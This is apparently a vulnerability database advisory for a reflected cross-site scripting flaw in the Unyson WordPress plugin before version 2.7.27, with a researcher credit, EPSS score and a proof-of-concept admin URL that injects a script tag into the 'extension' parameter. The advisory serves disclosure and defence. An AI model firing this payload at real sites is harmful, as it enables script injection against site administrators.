Lucene search

K
wpexploitRaad Haddad of Cloudyrion GmbHWPEX-ID:1240797C-7F45-4C36-83F0-501C544CE76A
HistoryJul 04, 2022 - 12:00 a.m.

Unyson < 2.7.27 - Reflected Cross-Site Scripting

2022-07-0400:00:00
Raad Haddad of Cloudyrion GmbH
123

0.002 Low

EPSS

Percentile

52.6%

The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting

https://example.com/wp-admin/admin.php?page=fw-extensions&sub-page=extension&extension=feedback<script>alert(/XSS/)</script>

0.002 Low

EPSS

Percentile

52.6%

Related for WPEX-ID:1240797C-7F45-4C36-83F0-501C544CE76A